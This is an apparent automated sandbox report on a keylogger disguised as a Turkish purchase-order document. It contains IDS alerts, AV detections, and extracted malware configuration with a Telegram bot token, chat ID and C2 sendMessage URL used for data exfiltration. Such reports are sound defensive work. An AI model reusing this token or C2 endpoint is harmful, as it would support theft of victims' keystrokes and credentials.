2025-01-06T13:58:06.631531+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62558	149.154.167.220	443	TCP
2025-01-06T13:58:07.662360+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62559	149.154.167.220	443	TCP
2025-01-06T13:58:08.849425+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62560	149.154.167.220	443	TCP
2025-01-06T13:58:09.889218+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62561	149.154.167.220	443	TCP
2025-01-06T13:58:10.831722+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62562	149.154.167.220	443	TCP
2025-01-06T13:58:19.902464+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62565	149.154.167.220	443	TCP
2025-01-06T13:58:20.987869+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62566	149.154.167.220	443	TCP
2025-01-06T13:58:22.264568+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62567	149.154.167.220	443	TCP
2025-01-06T13:58:23.230961+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62568	149.154.167.220	443	TCP
2025-01-06T13:58:24.160965+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62569	149.154.167.220	443	TCP
2025-01-06T13:58:25.275005+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62570	149.154.167.220	443	TCP
2025-01-06T13:58:26.234709+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62571	149.154.167.220	443	TCP
2025-01-06T13:58:27.241993+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62572	149.154.167.220	443	TCP
2025-01-06T13:58:28.361718+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62573	149.154.167.220	443	TCP
2025-01-06T13:58:29.260051+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62574	149.154.167.220	443	TCP
2025-01-06T13:58:30.449323+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62575	149.154.167.220	443	TCP
2025-01-06T13:58:31.353204+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62576	149.154.167.220	443	TCP
2025-01-06T13:58:32.266817+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62577	149.154.167.220	443	TCP
2025-01-06T13:58:33.206447+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62578	149.154.167.220	443	TCP
2025-01-06T13:58:34.137615+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62579	149.154.167.220	443	TCP
2025-01-06T13:58:38.142611+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62580	149.154.167.220	443	TCP
2025-01-06T13:58:39.198089+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62581	149.154.167.220	443	TCP
2025-01-06T13:58:40.184318+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62582	149.154.167.220	443	TCP
2025-01-06T13:58:41.702485+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62583	149.154.167.220	443	TCP
2025-01-06T13:58:45.931208+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62585	149.154.167.220	443	TCP
2025-01-06T14:01:03.663555+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62790	149.154.167.220	443	TCP
2025-01-06T14:01:04.578074+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	62791	149.154.167.220	443	TCP

Joe Security ANOMALY Telegram Send Message

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-06T13:57:12.096679+0100	1810007	1	Potentially Bad Traffic	192.168.2.6	49774	149.154.167.220	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000004.00000002.4575972771.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "Telegram", "Token": "7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A", "Chat_id": "-4517865277", "Version": "4.4"}
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3e2dd68.0.raw.unpack	Malware Configuration Extractor: VIP Keylogger {"Exfil Mode": "Telegram", "Bot Token": "7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A", "Chat id": "-4517865277", "Version": "4.4"}
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.2820.4.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendMessage"}

Multi AV Scanner detection for submitted file

Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Virustotal: Detection: 28%			Perma Link
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	ReversingLabs: Detection: 34%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Joe Sandbox ML: detected

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49713 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62587 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62588 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62589 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62590 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62591 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62592 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62593 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62594 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62595 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62596 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62597 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62598 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62599 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62600 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62601 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62602 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62603 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62604 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62605 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62606 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62607 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62608 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62609 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62610 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62611 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62612 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62613 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62614 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62615 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62616 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62617 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62618 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62619 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62620 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62621 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62622 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62623 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62624 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62625 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62626 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62627 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62628 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62629 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62630 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62631 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62632 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62633 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62634 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62635 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62636 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62637 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62638 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62639 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62641 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62642 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62644 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62645 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62646 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62647 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62648 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62649 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62650 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62651 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62652 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62653 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62654 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62655 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62656 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62657 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62658 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62659 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62660 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62661 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62662 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62663 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62664 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62665 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62666 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62667 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62668 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62669 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62670 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62671 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62672 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62673 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62674 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62675 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62676 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62677 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62678 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62679 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62680 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62681 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62682 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62683 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62684 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62685 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62686 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62687 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62688 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62689 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62690 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62691 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62692 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62693 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62694 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62695 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62696 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62698 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62790 version: TLS 1.2

Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: ItCE.pdbSHA256 source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe
Source:	Binary string: ItCE.pdb source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Code function: 4x nop then jmp 0120F475h	4_2_0120F2D8
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Code function: 4x nop then jmp 0120F475h	4_2_0120F4C4
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Code function: 4x nop then jmp 0120FC31h	4_2_0120F979

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.6:49774 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62504 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62534 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62544 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62549 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62552 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62554 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62561 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62572 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62570 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62575 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62498 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62550 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62510 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62548 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62578 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62551 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62545 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62547 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62569 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62574 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62527 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62546 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62562 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62566 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62558 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62579 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62583 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62576 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62568 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62573 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62577 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:49824 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62519 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62553 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62559 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62790 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62555 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62560 -> 149.154.167.220:443
